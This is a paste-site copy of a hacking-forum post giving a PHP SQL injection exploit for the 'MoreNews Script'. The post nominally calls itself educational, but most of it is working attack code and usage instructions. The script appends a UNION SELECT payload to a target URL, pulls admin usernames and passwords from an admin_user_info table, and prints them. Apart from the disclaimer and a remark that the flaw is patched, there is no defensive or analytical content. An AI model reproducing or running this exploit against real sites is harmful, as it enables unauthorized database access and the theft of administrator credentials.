Toggle navigation
Home
Latest pastes
FAQ
Random
BitBin is shutting down!
Register
Login
SQL Injection Exploit [PHP]
SUBMITTED BY:
Guest
DATE:
Sept. 23, 2013, 7:51 p.m.
FORMAT:
Text only
SIZE:
1.5 kB
Raw
Download
Tweet
HITS:
1229
Go to comments
Report
SQL Injection Exploit [PHP]
Hello HC,
I made an SQL Injection exploit in PHP (for educational purposes only).
This is an example of how a remote exploit works.
Vulnerability was belong to "MoreNews Script" but It's patched now so use it for just educational purposes.
Usage:
Code: SELECT ALL
http://localhost/script.php?web=http://targetsite.com/page.php?param=
Sauce:
PHP Code: SELECT ALL
<?phperror_reporting(0);print "<h2>HackCommunity SQL Injection Exploit</h2>";if(!empty($_GET['web'])){print "<b>Scanning the vulnerability...</b><br>________________________________<br>";$injquery = "null%20UNION%20SELECT%20concat_ws(0x3c68633e%2Cusername%2C0x3a%2C0x3a%2Cuserpass​​%2C0x3c2f68633e)%20from%20admin_user_info";$source = file_get_contents($_GET['web'] . $injquery);if(strstr($source, "<hc>")){$info = substr($source, strrpos($source, '<hc>'), strpos($source, '</hc>') - strrpos($source, '<hc>'));print "Vulnerability Exploit Successfull!<br><br>Result => $info";}else{print "Vulnerability Not Avaible For This Website..<br>";}}else{print "Please Enter an URL (ex: http://site.com/page.php?parameter= Wink<br>";}?>
Image:
Au Revoir..
Please enable JavaScript to view the
comments powered by Disqus.
comments powered by
Disqus